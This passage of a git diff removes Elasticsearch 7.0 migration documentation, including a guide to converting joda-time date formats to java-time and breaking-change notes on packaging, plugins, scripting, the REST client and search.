-must be explicitly set to one of `quadtree` or `geohash`. Note that these strategies are
-now deprecated and will be removed in a future version.
-
-IMPORTANT NOTE: If using timed index creation from templates, the `geo_shape` mapping
-should also be changed in the template to explicitly define `tree` to one of `geohash`
-or `quadtree`. This will ensure compatibility with previously created indexes.
-
-[discrete]
-[[deprecated-geo-shape-params]]
-==== Deprecated `geo_shape` parameters
-
-The following type parameters are deprecated for the `geo_shape` field type: `tree`,
-`precision`, `tree_levels`, `distance_error_pct`, `points_only`, and `strategy`. They
-will be removed in a future version.
-
-[discrete]
-==== Limiting the number of completion contexts
-
-The maximum allowed number of completion contexts in a mapping will be limited
-to 10 in the next major version. Completion fields that define more than 10
-contexts in a mapping will log a deprecation warning in this version.
-
-[discrete]
-[[include-type-name-defaults-false]]
-==== `include_type_name` now defaults to `false`
-The default for `include_type_name` is now `false` for all APIs that accept
-the parameter.
diff --git a/docs/reference/migration/migrate_7_0/migrate_to_java_time.asciidoc b/docs/reference/migration/migrate_7_0/migrate_to_java_time.asciidoc
deleted file mode 100644
index fc8feef6bf7..00000000000
--- a/docs/reference/migration/migrate_7_0/migrate_to_java_time.asciidoc
+++ /dev/null
@@ -1,417 +0,0 @@
-[[migrate-to-java-time]]
-=== Java time migration guide
-
-With 7.0, {es} switched from joda time to java time for date-related parsing,
-formatting, and calculations. This guide is designed to help you determine
-if your cluster is impacted and, if so, prepare for the upgrade.
-
-You do not need to convert joda-time date formats to java time for indices
-created in {es} 6.8 before upgrading to 7.7 or later versions. However, mappings
-for indices created in 7.7 and later versions must use java-time formats.
-
-To ensure new indices use java-time formats, we recommend you update any ingest
-pipelines and index templates created in 6.8 to java time before upgrading. See:
-
-* <<java-time-migration-update-ingest-pipelines>>
-* <<java-time-migration-update-index-templates>>
-
-Indices created in versions 7.0-7.6 cannot use joda time. This was fixed
-was in 7.7 with {es-pull}52555[#52555].
-[discrete]
-[[java-time-convert-date-formats]]
-=== Convert date formats
-
-To use java time in 6.8, prefix the date format with an `8`.
-For example, you can change the date format `YYYY-MM-dd` to `8yyyy-MM-dd` to
-indicate the date format uses java time.
-
-{es} treats date formats starting with the `8` prefix differently depending on
-the version:
-
-*6.8*: Date formats with an `8` prefix are handled as java-time formats. Date
-formats without an `8` prefix are treated as joda-time formats. We recommend
-converting these joda-time formats to java-time _before_ upgrading to 7.x.
-
-*7.x and later*: For indices created in 6.x, date formats without an `8` prefix
-are treated as joda-time formats. For indices created in 7.x and later versions,
-all date formats are treated as java-time formats, regardless of whether it
-starts with an `8` prefix.
-
-[[java-time-migration-impacted-features]]
-==== Impacted features
-The switch to java time only impacts custom <<date,`date`>> and
-<<date_nanos,`date_nanos`>> formats.
-
-These formats are commonly used in:
-
-* <<mapping,Index mappings>>
-* <<indices-templates,Index templates>>
-* <<pipeline,Ingest pipelines>>
-
-If you don't use custom date formats, you can skip the rest of this guide.
-Most custom date formats are compatible. However, several require
-an update.
-
-To see if your date format is impacted, use the <<migration-api-deprecation,deprecation info API>>
-or the {kibana-ref}/upgrade-assistant.html[Kibana upgrade assistant].
-
-[[java-time-migration-incompatible-date-formats]]
-==== Incompatible date formats
-Custom date formats containing the following joda-time literals should be
-converted to their java-time equivalents.
-
-`Y` (Year of era)::
-+
---
-Replace with `y`.
-
-*Example:*
-`YYYY-MM-dd` should become `yyyy-MM-dd`.
-
-In java time, `Y` is used for
-https://docs.oracle.com/javase/8/docs/api/java/time/temporal/WeekFields.html[week-based year].
-Using `Y` in place of `y` could result in off-by-one errors in year calculation.
-
-For pattern `YYYY-ww` and date `2019-01-01T00:00:00.000Z`  will give `2019-01`
-For pattern `YYYY-ww` and date `2018-12-31T00:00:00.000Z`  will give `2019-01` (counter-intuitive) because there is >4 days of that week in 2019
---
-
-`y` (Year)::
-+
---
-Replace with `u`.
-
-*Example:*
-`yyyy-MM-dd` should become `uuuu-MM-dd`.
-
-In java time, `y` is used for year of era. `u` can contain non-positive
-values while `y` cannot. `y` can also be associated with an era field.
---
-
-
-`C` (Century of era)::
-+
---
-Century of era is not supported in java time.
-There is no replacement. Instead, we recommend you preprocess your input.
---
-
-`x` (Week year)::
-+
---
-Replace with `Y`.
-
-In java time, `x` means https://docs.oracle.com/javase/8/docs/api/java/time/format/DateTimeFormatter.html[zone-offset].
-
-[WARNING]
-====
-Failure to properly convert `x` (Week year) to `Y` could result in data loss.
-====
---
-
-`Z` (Zone offset/id)::
-+
---
-Replace with multiple `X`'s.
-
-`Z` has a similar meaning in java time. However, java time expects different
-numbers of literals to parse different forms.
-
-Consider migrating to `X`, which gives you more control over how time is parsed.
-For example, the joda-time format `YYYY-MM-dd'T'hh:mm:ssZZ` accepts the following dates:
-
-```
-2010-01-01T01:02:03Z
-2010-01-01T01:02:03+01
-2010-01-01T01:02:03+01:02
-2010-01-01T01:02:03+01:02:03
-```
-
-In java time, you cannot parse all these dates using a single format
-Instead, you must specify 3 separate formats:
-
-```
-2010-01-01T01:02:03Z
-2010-01-01T01:02:03+01
-both parsed with yyyy-MM-dd'T'hh:mm:ssX
-
-2010-01-01T01:02:03+01:02
-yyyy-MM-dd'T'hh:mm:ssXXX
-
-2010-01-01T01:02:03+01:02:03
-yyyy-MM-dd'T'hh:mm:ssXXXXX
-```
-
-
-The formats must then be delimited using `||`:
-[source,txt]
---------------------------------------------------
-yyyy-MM-dd'T'hh:mm:ssX||yyyy-MM-dd'T'hh:mm:ssXXX||yyyy-MM-dd'T'hh:mm:ssXXXXX
---------------------------------------------------
-
-The same applies if you expect your pattern to occur without a colon (`:`):
-For example, the `YYYY-MM-dd'T'hh:mm:ssZ` format accepts the following date forms:
-```
-2010-01-01T01:02:03Z
-2010-01-01T01:02:03+01
-2010-01-01T01:02:03+0102
-2010-01-01T01:02:03+010203
-```
-To accept all these forms in java time, you must use the `||` delimiter:
-[source,txt]
---------------------------------------------------
-yyyy-MM-dd'T'hh:mm:ssX||yyyy-MM-dd'T'hh:mm:ssXX||yyyy-MM-dd'T'hh:mm:ssXXXX
---------------------------------------------------
---
-
-`d` (Day)::
-+
---
-In java time, `d` is still interpreted as "day" but is less flexible.
-
-For example, the joda-time date format `YYYY-MM-dd` accepts `2010-01-01` or
-`2010-01-1`.
-
-In java time, you must use the `||` delimiter to provide specify each format:
-
-[source,txt]
---------------------------------------------------
-yyyy-MM-dd||yyyy-MM-d
---------------------------------------------------
-
-In java time, `d` also does not accept more than 2 digits. To accept days with more
-than two digits, you must include a text literal in your java-time date format.
-For example, to parse `2010-01-00001`, you must use the following java-time date format:
-
-[source,txt]
---------------------------------------------------
-yyyy-MM-'000'dd
---------------------------------------------------
---
-
-`e` (Name of day)::
-+
---
-In java time, `e` is still interpreted as "name of day" but does not parse
-short- or full-text forms.
-
-For example, the joda-time date format `EEE YYYY-MM` accepts both
-`Wed 2020-01` and `Wednesday 2020-01`.
-
-To accept both of these dates in java time, you must specify each format using
-the `||` delimiter:
-
-[source,txt]
---------------------------------------------------
-cccc yyyy-MM||ccc yyyy-MM
---------------------------------------------------
-
-The joda-time literal `E` is interpreted as "day of week."
-The java-time literal `c` is interpreted as "localized day of week."
-`E` does not accept full-text day formats, such as `Wednesday`.
---
-
-`EEEE` and similar text forms::
-+
---
-Support for full-text forms depends on the locale data provided with your Java
-Development Kit (JDK) and other implementation details. We recommend you
-test formats containing these patterns carefully before upgrading.
---
-
-`z` (Time zone text)::
-+
---
-In java time, `z` outputs 'Z' for Zulu when given a UTC timezone.
---
-
-[[java-time-migration-test]]
-===== Test with your data
-
-We strongly recommend you test any date format changes using real data before
-deploying in production.
-
-For help with date debugging, consider using
-https://esddd.herokuapp.com/[https://esddd.herokuapp.com/.]
-
-[[java-time-migrate-update-mappings]]
-==== Update index mappings
-To update joda-time date formats in index mappings, you must create a new index
-with an updated mapping and reindex your data to it.
-You can however update your pipelines or templates.
-
-The following `my-index-000001` index contains a mapping for the `datetime` field, a
-`date` field with a custom joda-time date format.
-////
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "datetime": {
-        "type": "date",
-        "format": "yyyy/MM/dd HH:mm:ss||yyyy/MM/dd||epoch_millis"
-      }
-    }
-  }
-}
---------------------------------------------------
-////
-
-[source,console]
---------------------------------------------------
-GET my-index-000001/_mapping
---------------------------------------------------
-// TEST[continued]
-
-[source,console-result]
---------------------------------------------------
-{
-  "my-index-000001" : {
-    "mappings" : {
-      "properties" : {
-         "datetime": {
-           "type": "date",
-           "format": "yyyy/MM/dd HH:mm:ss||yyyy/MM/dd||epoch_millis"
-         }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-
-To change the date format for the `datetime` field, create a separate index
-containing an updated mapping and date format.
-
-For example, the following `my-index-000002` index changes the `datetime` field's
-date format to `8uuuu/MM/dd HH:mm:ss||uuuu/MM/dd||epoch_millis`. The `8` prefix
-indicates this date format uses java time.
-
-[source,console]
---------------------------------------------------
-PUT my-index-000002
-{
-  "mappings": {
-    "properties": {
-      "datetime": {
-        "type": "date",
-        "format": "8uuuu/MM/dd HH:mm:ss||uuuu/MM/dd||epoch_millis"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-Next, reindex data from the old index to the new index.
-
-The following <<docs-reindex,reindex>> API request reindexes data from
-`my-index-000001` to `my-index-000002`.
-
-[source,console]
---------------------------------------------------
-POST _reindex
-{
-  "source": {
-    "index": "my-index-000001"
-  },
-  "dest": {
-    "index": "my-index-000002"
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-If you use index aliases, update them to point to the new index.
-
-[source,console]
---------------------------------------------------
-POST /_aliases
-{
-  "actions" : [
-    { "remove" : { "index" : "my-index-000001", "alias" : "my-index" } },
-    { "add" : { "index" : "my-index-000002", "alias" : "my-index" } }
-  ]
-}
---------------------------------------------------
-// TEST[continued]
-
-[[java-time-migration-update-ingest-pipelines]]
-===== Update ingest pipelines
-If your ingest pipelines contain joda-time date formats, you can update them
-using the <<put-pipeline-api,put ingest pipeline>> API.
-
-[source,console]
---------------------------------------------------
-PUT _ingest/pipeline/my_pipeline
-{
-  "description": "Pipeline for routing data to specific index",
-  "processors": [
-    {
-      "date": {
-        "field": "createdTime",
-        "formats": [
-         "8uuuu-w"
-        ]
-      },
-      "date_index_name": {
-        "field": "@timestamp",
-        "date_rounding": "d",
-        "index_name_prefix": "x-",
-        "index_name_format": "8uuuu-w"
-      }
-    }
-  ]
-}
---------------------------------------------------
-
-
-[[java-time-migration-update-index-templates]]
-===== Update index templates
-
-If your index templates contain joda-time date formats, you can update them
-using the <<indices-templates,put index template>> API.
-
-[source,console]
---------------------------------------------------
-PUT _template/template_1
-{
-  "index_patterns": [
-    "te*",
-    "bar*"
-  ],
-  "settings": {
-    "number_of_shards": 1
-  },
-  "mappings": {
-    "_source": {
-      "enabled": false
-    },
-    "properties": {
-      "host_name": {
-        "type": "keyword"
-      },
-      "created_at": {
-        "type": "date",
-        "format": "8EEE MMM dd HH:mm:ss Z yyyy"
-      }
-    }
-  }
-}
---------------------------------------------------
-
-////
-[source,console]
---------------------------------------------------
-DELETE /_template/template_1
---------------------------------------------------
-// TEST[continued]
-////
-
-[[java-time-migration-update-external-tools-templates]]
-===== Update external tools and templates
-Ensure you also update any date formats in templates or tools outside of {es}.
-This can include tools such as {beats-ref}/getting-started.html[{beats}] or
-{logstash-ref}/index.html[Logstash].
diff --git a/docs/reference/migration/migrate_7_0/ml.asciidoc b/docs/reference/migration/migrate_7_0/ml.asciidoc
deleted file mode 100644
index df5af8b3f4c..00000000000
--- a/docs/reference/migration/migrate_7_0/ml.asciidoc
+++ /dev/null
@@ -1,15 +0,0 @@
-[discrete]
-[[breaking_70_ml_changes]]
-=== ML changes
-
-//NOTE: The notable-breaking-changes tagged regions are re-used in the
-//Installation and Upgrade Guide
-
-//tag::notable-breaking-changes[]
-
-// end::notable-breaking-changes[]
-
-[discrete]
-==== Types in Datafeed config are no longer valid
-Types have been removed from the datafeed config and are no longer
-valid parameters.
diff --git a/docs/reference/migration/migrate_7_0/node.asciidoc b/docs/reference/migration/migrate_7_0/node.asciidoc
deleted file mode 100644
index 2bbc4fcef7a..00000000000
--- a/docs/reference/migration/migrate_7_0/node.asciidoc
+++ /dev/null
@@ -1,22 +0,0 @@
-[discrete]
-[[breaking_70_node_changes]]
-=== Node start up
-
-//NOTE: The notable-breaking-changes tagged regions are re-used in the
-//Installation and Upgrade Guide
-
-//tag::notable-breaking-changes[]
-
-// end::notable-breaking-changes[]
-
-[discrete]
-==== Nodes with left-behind data or metadata refuse to start
-Repurposing an existing node by changing node.master or node.data to false can leave lingering on-disk metadata and
-data around, which will not be accessible by the node's new role. Beside storing non-accessible data, this can lead
-to situations where dangling indices are imported even though the node might not be able to host any shards, leading
-to a red cluster health. To avoid this,
-
-* nodes with on-disk shard data and node.data set to false will refuse to start
-* nodes with on-disk index/shard data and both node.master and node.data set to false will refuse to start
-
-Beware that such role changes done prior to the 7.0 upgrade could prevent node start up in 7.0.
diff --git a/docs/reference/migration/migrate_7_0/packaging.asciidoc b/docs/reference/migration/migrate_7_0/packaging.asciidoc
deleted file mode 100644
index e1ea4c70d37..00000000000
--- a/docs/reference/migration/migrate_7_0/packaging.asciidoc
+++ /dev/null
@@ -1,37 +0,0 @@
-[discrete]
-[[breaking_70_packaging_changes]]
-=== Packaging changes
-
-//NOTE: The notable-breaking-changes tagged regions are re-used in the
-//Installation and Upgrade Guide
-
-//tag::notable-breaking-changes[]
-
-// end::notable-breaking-changes[]
-
-[discrete]
-[[systemd-service-file-config]]
-==== systemd service file is no longer configuration
-
-The systemd service file `/usr/lib/systemd/system/elasticsearch.service`
-was previously marked as a configuration file in rpm and deb packages.
-Overrides to the systemd elasticsearch service should be made
-in `/etc/systemd/system/elasticsearch.service.d/override.conf`.
-
-[discrete]
-==== tar package no longer includes windows specific files
-
-The tar package previously included files in the `bin` directory meant only
-for windows. These files have been removed. Use the `zip` package instead.
-
-[discrete]
-==== Ubuntu 14.04 is no longer supported
-
-Ubuntu 14.04 will reach end-of-life on April 30, 2019. As such, we are no longer
-supporting Ubuntu 14.04.
-
-[discrete]
-==== CLI secret prompting is no longer supported
-The ability to use `${prompt.secret}` and `${prompt.text}` to collect secrets
-from the CLI at server start is no longer supported.  Secure settings have replaced
-the need for these prompts.
diff --git a/docs/reference/migration/migrate_7_0/plugins.asciidoc b/docs/reference/migration/migrate_7_0/plugins.asciidoc
deleted file mode 100644
index 41687e08e79..00000000000
--- a/docs/reference/migration/migrate_7_0/plugins.asciidoc
+++ /dev/null
@@ -1,91 +0,0 @@
-[discrete]
-[[breaking_70_plugins_changes]]
-=== Plugins changes
-
-//NOTE: The notable-breaking-changes tagged regions are re-used in the
-//Installation and Upgrade Guide
-
-//tag::notable-breaking-changes[]
-
-// end::notable-breaking-changes[]
-
-[discrete]
-==== Azure Repository plugin
-
-* The legacy azure settings which where starting with `cloud.azure.storage.` prefix have been removed.
-This includes `account`, `key`, `default` and `timeout`.
-You need to use settings which are starting with `azure.client.` prefix instead.
-
-* Global timeout setting `cloud.azure.storage.timeout` has been removed.
-You must set it per azure client instead. Like `azure.client.default.timeout: 10s` for example.
-
-See {plugins}/repository-azure-repository-settings.html#repository-azure-repository-settings[Azure Repository settings].
-
-[discrete]
-==== Google Cloud Storage Repository plugin
-
-* The repository settings `application_name`, `connect_timeout` and `read_timeout` have been removed and
-must now be specified in the client settings instead.
-
-See {plugins}/repository-gcs-client.html#repository-gcs-client[Google Cloud Storage Client Settings].
-
-[discrete]
-==== S3 Repository Plugin
-
-* The plugin now uses the path style access pattern for all requests.
-In previous versions it was automatically determining whether to use virtual hosted style or path style
-access.
-
-[discrete]
-==== Analysis Plugin changes
-
-* The misspelled helper method `requriesAnalysisSettings(AnalyzerProvider<T> provider)` has been
-renamed to `requiresAnalysisSettings`
-
-[discrete]
-==== File-based discovery plugin
-
-* This plugin has been removed since its functionality is now part of
-Elasticsearch and requires no plugin. The location of the hosts file has moved
-from `$ES_PATH_CONF/file-discovery/unicast_hosts.txt` to
-`$ES_PATH_CONF/unicast_hosts.txt`. See <<file-based-hosts-provider,the
-file-based hosts provider documentation>> for further information.
-
-[discrete]
-==== Security Extensions
-
-As a consequence of the <<include-realm-type-in-setting, change to Realm settings>>,
-the `getRealmSettings` method has been removed from the `SecurityExtension` class,
-and the `settings` method on `RealmConfig` now returns the node's (global) settings.
-Custom security extensions should register their settings by implementing the standard
-`Plugin.getSettings` method, and can retrieve them from `RealmConfig.settings()` or
-using one of the `RealmConfig.getSetting` methods.
-Each realm setting should be defined as an `AffixSetting` as shown in the example below:
-[source,java]
---------------------------------------------------
-Setting.AffixSetting<String> MY_SETTING = Setting.affixKeySetting(
-  "xpack.security.authc.realms." + MY_REALM_TYPE + ".", "my_setting",
-  key -> Setting.simpleString(key, properties)
-);
---------------------------------------------------
-
-The `RealmSettings.simpleString` method can be used as a convenience for the above.
-
-[discrete]
-==== Tribe node removed
-
-Tribe node functionality has been removed in favor of
-<<modules-cross-cluster-search,Cross Cluster Search>>.
-
-[discrete]
-==== Discovery implementations are no longer pluggable
-
-* The method `DiscoveryPlugin#getDiscoveryTypes()` was removed, so that plugins
-  can no longer provide their own discovery implementations.
-
-[discrete]
-[[watcher-hipchat-action-removed]]
-==== Watcher 'hipchat' action removed
-
-Hipchat has been deprecated and shut down as a service. The `hipchat` action for
-watches has been removed.
diff --git a/docs/reference/migration/migrate_7_0/restclient.asciidoc b/docs/reference/migration/migrate_7_0/restclient.asciidoc
deleted file mode 100644
index 19f8ca1daff..00000000000
--- a/docs/reference/migration/migrate_7_0/restclient.asciidoc
+++ /dev/null
@@ -1,32 +0,0 @@
-[discrete]
-[[breaking_70_restclient_changes]]
-=== High-level REST client changes
-
-//NOTE: The notable-breaking-changes tagged regions are re-used in the
-//Installation and Upgrade Guide
-
-//tag::notable-breaking-changes[]
-
-// end::notable-breaking-changes[]
-
-[discrete]
-[[remove-header-args]]
-==== API methods accepting `Header` argument have been removed
-
-All API methods accepting headers as a `Header` varargs argument, deprecated
-since 6.4, have been removed in favour of the newly introduced methods that
-accept instead a `RequestOptions` argument. In case you are not specifying any
-header, e.g. `client.index(indexRequest)` becomes
-`client.index(indexRequest, RequestOptions.DEFAULT)`.
-In case you are specifying headers
-e.g. `client.index(indexRequest, new Header("name" "value"))` becomes
-`client.index(indexRequest, RequestOptions.DEFAULT.toBuilder().addHeader("name", "value").build());`
-
-[discrete]
-[[cluster-health-api-default-cluster-level]]
-==== Cluster Health API default to `cluster` level
-
-The Cluster Health API used to default to `shards` level to ease migration
-from transport client that doesn't support the `level` parameter and always
-returns information including indices and shards details. The level default
-value has been aligned with the Elasticsearch default level: `cluster`.
diff --git a/docs/reference/migration/migrate_7_0/scripting.asciidoc b/docs/reference/migration/migrate_7_0/scripting.asciidoc
deleted file mode 100644
index cf72cbb1de0..00000000000
--- a/docs/reference/migration/migrate_7_0/scripting.asciidoc
+++ /dev/null
@@ -1,46 +0,0 @@
-[discrete]
-[[breaking_70_scripting_changes]]
-=== Scripting changes
-
-//NOTE: The notable-breaking-changes tagged regions are re-used in the
-//Installation and Upgrade Guide
-
-//tag::notable-breaking-changes[]
-
-// end::notable-breaking-changes[]
-
-
-[discrete]
-==== getDate() and getDates() removed
-
-Fields of type `long` and `date` had `getDate()` and `getDates()` methods
-(for multi valued fields) to get an object with date specific helper methods
-for the current doc value. In 5.3.0, `date` fields were changed to expose
-this same date object directly when calling `doc["myfield"].value`, and
-the getter methods for date objects were deprecated. These methods have
-now been removed. Instead, use `.value` on `date` fields, or explicitly
-parse `long` fields into a date object using
-`Instance.ofEpochMillis(doc["myfield"].value)`.
-
-[discrete]
-==== Accessing missing document values will throw an error
-`doc['field'].value` will throw an exception if
-the document is missing a value for the field `field`.
-
-To check if a document is missing a value, you can use
-`doc['field'].size() == 0`.
-
-
-[discrete]
-[[script-errors-return-400-error-codes]]
-==== Script errors will return as `400` error codes
-
-Malformed scripts, either in search templates, ingest pipelines or search 
-requests, return `400 - Bad request` while they would previously return
-`500 - Internal Server Error`. This also applies for stored scripts.
-
-[discrete]
-==== getValues() removed
-
-The `ScriptDocValues#getValues()` method is deprecated in 6.6 and will
-be removed in 7.0. Use `doc["foo"]` in place of `doc["foo"].values`.
diff --git a/docs/reference/migration/migrate_7_0/search.asciidoc b/docs/reference/migration/migrate_7_0/search.asciidoc
deleted file mode 100644
index 1a05d948790..00000000000
--- a/docs/reference/migration/migrate_7_0/search.asciidoc
+++ /dev/null
@@ -1,317 +0,0 @@
-[discrete]
-[[breaking_70_search_changes]]
-=== Search and Query DSL changes
-
-//NOTE: The notable-breaking-changes tagged regions are re-used in the
-//Installation and Upgrade Guide
-
-//tag::notable-breaking-changes[]
-
-// end::notable-breaking-changes[]
-
-[discrete]
-==== Off-heap terms index
-
-The terms dictionary is the part of the inverted index that records all terms
-that occur within a segment in sorted order. In order to provide fast retrieval,
-terms dictionaries come with a small terms index that allows for efficient
-random access by term. Until now this terms index had always been loaded
-on-heap.
-
-As of 7.0, the terms index is loaded on-heap for fields that only have unique
-values such as `_id` fields, and off-heap otherwise - likely most other fields.
-This is expected to reduce memory requirements but might slow down search
-requests if both below conditions are met:
-
-* The size of the data directory on each node is significantly larger than the
-  amount of memory that is available to the filesystem cache.
-
-* The number of matches of the query is not several orders of magnitude greater
-  than the number of terms that the query tries to match, either explicitly via
-  `term` or `terms` queries, or implicitly via multi-term queries such as
-  `prefix`, `wildcard` or `fuzzy` queries.
-
-This change affects both existing indices created with Elasticsearch 6.x and new
-indices created with Elasticsearch 7.x.
-
-[discrete]
-==== Changes to queries
-*   The default value for `transpositions` parameter of `fuzzy` query
-    has been changed to `true`.
-
-*   The `query_string` options `use_dismax`, `split_on_whitespace`,
-    `all_fields`, `locale`, `auto_generate_phrase_query` and
-    `lowercase_expanded_terms` deprecated in 6.x have been removed.
-
-*   Purely negative queries (only MUST_NOT clauses) now return a score of `0`
-    rather than `1`.
-
-*   The boundary specified using geohashes in the `geo_bounding_box` query
-    now include entire geohash cell, instead of just geohash center.
-
-*   Attempts to generate multi-term phrase queries against non-text fields
-    with a custom analyzer will now throw an exception.
-
-*   An `envelope` crossing the dateline in a `geo_shape` query is now processed
-    correctly when specified using REST API instead of having its left and
-    right corners flipped.
-
-*   Attempts to set `boost` on inner span queries will now throw a parsing exception.
-
-[discrete]
-==== Adaptive replica selection enabled by default
-
-Adaptive replica selection has been enabled by default. If you wish to return to
-the older round robin of search requests, you can use the
-`cluster.routing.use_adaptive_replica_selection` setting:
-
-[source,console]
---------------------------------------------------
-PUT /_cluster/settings
-{
-  "transient": {
-    "cluster.routing.use_adaptive_replica_selection": false
-  }
-}
---------------------------------------------------
-
-
-[discrete]
-[[search-api-returns-400-invalid-requests]]
-==== Search API returns `400` for invalid requests
-
-The Search API returns `400 - Bad request` while it would previously return
-`500 - Internal Server Error` in the following cases of invalid request:
-
-*   the result window is too large
-*   sort is used in  combination with rescore
-*   the rescore window is too large
-*   the number of slices is too large
-*   keep alive for scroll is too large
-*   number of filters in the adjacency matrix aggregation is too large
-*   script compilation errors
-
-[discrete]
-[[scroll-queries-cannot-use-request-cache]]
-==== Scroll queries cannot use the `request_cache` anymore
-
-Setting `request_cache:true` on a query that creates a scroll (`scroll=1m`)
-has been deprecated in 6 and will now return a `400 - Bad request`.
-Scroll queries are not meant to be cached.
-
-[discrete]
-[[scroll-queries-cannot-use-rescore]]
-==== Scroll queries cannot use `rescore`  anymore
-
-Including a rescore clause on a query that creates a scroll (`scroll=1m`) has
-been deprecated in 6.5 and will now return a `400 - Bad request`.  Allowing
-rescore on scroll queries would break the scroll sort.  In the 6.x line, the
-rescore clause was silently ignored (for scroll queries), and it was allowed in
-the 5.x line.
-
-[discrete]
-==== Term Suggesters supported distance algorithms
-
-The following string distance algorithms were given additional names in 6.2 and
-their existing names were deprecated. The deprecated names have now been
-removed.
-
-* 	`levenstein` - replaced by `levenshtein`
-* 	`jarowinkler` - replaced by `jaro_winkler`
-
-[discrete]
-[[popular-mode-suggesters]]
-==== `popular` mode for Suggesters
-
-The `popular` mode for Suggesters (`term` and `phrase`) now uses the doc frequency
-(instead of the sum of the doc frequency) of the input terms to compute the frequency
-threshold for candidate suggestions.
-
-[discrete]
-==== Limiting the number of terms that can be used in a Terms Query request
-
-Executing a Terms Query with a lot of terms may degrade the cluster performance,
-as each additional term demands extra processing and memory.
-To safeguard against this, the maximum number of terms that can be used in a
-Terms Query request has been limited to 65536. This default maximum can be changed
-for a particular index with the index setting `index.max_terms_count`.
-
-[discrete]
-==== Limiting the length of regex that can be used in a Regexp Query request
-
-Executing a Regexp Query with a long regex string may degrade search performance.
-To safeguard against this, the maximum length of regex that can be used in a
-Regexp Query request has been limited to 1000. This default maximum can be changed
-for a particular index with the index setting `index.max_regex_length`.
-
-[discrete]
-==== Limiting the number of auto-expanded fields
-
-Executing queries that use automatic expansion of fields (e.g. `query_string`, `simple_query_string`
-or `multi_match`) can have performance issues for indices with a large numbers of fields.
-To safeguard against this, a default limit of 1024 fields has been introduced for
-queries using the "all fields" mode (`"default_field": "*"`) or other fieldname
-expansions (e.g. `"foo*"`). If needed, you can change this limit using the
-<<indices-query-bool-max-clause-count,`indices.query.bool.max_clause_count`>>
-dynamic cluster setting.
-
-[discrete]
-[[invalid-search-request-body]]
-==== Invalid `_search` request body
-
-Search requests with extra content after the main object will no longer be accepted
-by the `_search` endpoint. A parsing exception will be thrown instead.
-
-[discrete]
-==== Doc-value fields default format
-
-The format of doc-value fields is changing to be the same as what could be
-obtained in 6.x with the special `use_field_mapping` format. This is mostly a
-change for date fields, which are now formatted based on the format that is
-configured in the mappings by default. This behavior can be changed by
-specifying a <<request-body-search-docvalue-fields,`format`>> within the doc-value
-field.
-
-[discrete]
-==== Context Completion Suggester
-
-The ability to query and index context enabled suggestions without context,
-deprecated in 6.x, has been removed. Context enabled suggestion queries
-without contexts have to visit every suggestion, which degrades the search performance
-considerably.
-
-For geo context the value of the `path` parameter is now validated against the mapping,
-and the context is only accepted if `path` points to a field with `geo_point` type.
-
-[discrete]
-[[semantics-changed-max-concurrent-shared-requests]]
-==== Semantics changed for `max_concurrent_shard_requests`
-
-`max_concurrent_shard_requests` used to limit the total number of concurrent shard
-requests a single high level search request can execute. In 7.0 this changed to be the
-max number of concurrent shard requests per node. The default is now `5`.
-
-[discrete]
-[[max-score-set-to-null-when-untracked]]
-==== `max_score` set to `null` when scores are not tracked
-
-`max_score` used to be set to `0` whenever scores are not tracked. `null` is now used
-instead which is a more appropriate value for a scenario where scores are not available.
-
-[discrete]
-==== Negative boosts are not allowed
-
-Setting a negative `boost` for a query or a field, deprecated in 6x, is not allowed in this version.
-To deboost a specific query or field you can use a `boost` comprise between 0 and 1.
-
-[discrete]
-==== Negative scores are not allowed in Function Score Query
-
-Negative scores in the Function Score Query are deprecated in 6.x, and are
-not allowed in this version. If a negative score is produced as a result
-of computation (e.g. in `script_score` or `field_value_factor` functions),
-an error will be thrown.
-
-[discrete]
-==== The filter context has been removed
-
-The `filter` context has been removed from Elasticsearch's query builders,
-the distinction between queries and filters is now decided in Lucene depending
-on whether queries need to access score or not. As a result `bool` queries with
-`should` clauses that don't need to access the score will no longer set their
-`minimum_should_match` to 1. This behavior has been deprecated in the previous
-major version.
-
-//tag::notable-breaking-changes[]
-[discrete]
-[[hits-total-now-object-search-response]]
-==== `hits.total` is now an object in the search response
-
-The total hits that match the search request is now returned as an object
-with a `value` and a `relation`. `value` indicates the number of hits that
-match and `relation` indicates whether the value is accurate (`eq`) or a lower bound
-(`gte`):
-
-[source,js]
---------------------------------------------------
-{
-  "hits": {
-    "total": {
-      "value": 1000,
-      "relation": "eq"
-    },
-    ...
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-The `total` object in the response indicates that the query matches exactly 1000
-documents ("eq"). The `value` is always accurate (`"relation": "eq"`) when
-`track_total_hits` is set to true in the request.
-You can also retrieve `hits.total` as a number in the rest response by adding
-`rest_total_hits_as_int=true` in the request parameter of the search request.
-This parameter has been added to ease the transition to the new format and
-will be removed in the next major version (8.0).
-//end::notable-breaking-changes[]
-
-[discrete]
-[[hits-total-omitted-if-disabled]]
-==== `hits.total` is omitted in the response if `track_total_hits` is disabled (false)
-
-If `track_total_hits` is set to `false` in the search request the search response
-will set `hits.total` to null and the object will not be displayed in the rest
-layer. You can add `rest_total_hits_as_int=true` in the search request parameters
-to get the old format back (`"total": -1`).
-
-//tag::notable-breaking-changes[]
-[discrete]
-[[track-total-hits-10000-default]]
-==== `track_total_hits` defaults to 10,000
-
-By default search request will count the total hits accurately up to `10,000`
-documents. If the total number of hits that match the query is greater than this
- value, the response will indicate that the returned value is a lower bound:
-
-[source,js]
---------------------------------------------------
-{
-  "_shards": ...
-  "timed_out": false,
-  "took": 100,
-  "hits": {
-    "max_score": 1.0,
-    "total": {
-      "value": 10000,    <1>
-      "relation": "gte"  <2>
-    },
-    "hits": ...
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-<1> There are at least 10000 documents that match the query
-<2> This is a lower bound (`"gte"`).
-
-You can force the count to always be accurate by setting `track_total_hits`
-to true explicitly in the search request.
-//end::notable-breaking-changes[]
-
-[discrete]
-==== Limitations on Similarities
-Lucene 8 introduced more constraints on similarities, in particular:
-
-- scores must not be negative,
-- scores must not decrease when term freq increases,
-- scores must not increase when norm (interpreted as an unsigned long) increases.
-
-[discrete]
-==== Weights in Function Score must be positive
-Negative `weight` parameters in the `function_score` are no longer allowed.
-
-[discrete]
-==== Query string and Simple query string limit expansion of fields to 1024
-The number of automatically expanded fields for the "all fields"
-mode (`"default_field": "*"`) for the `query_string` and `simple_query_string`
-queries is now 1024 fields.
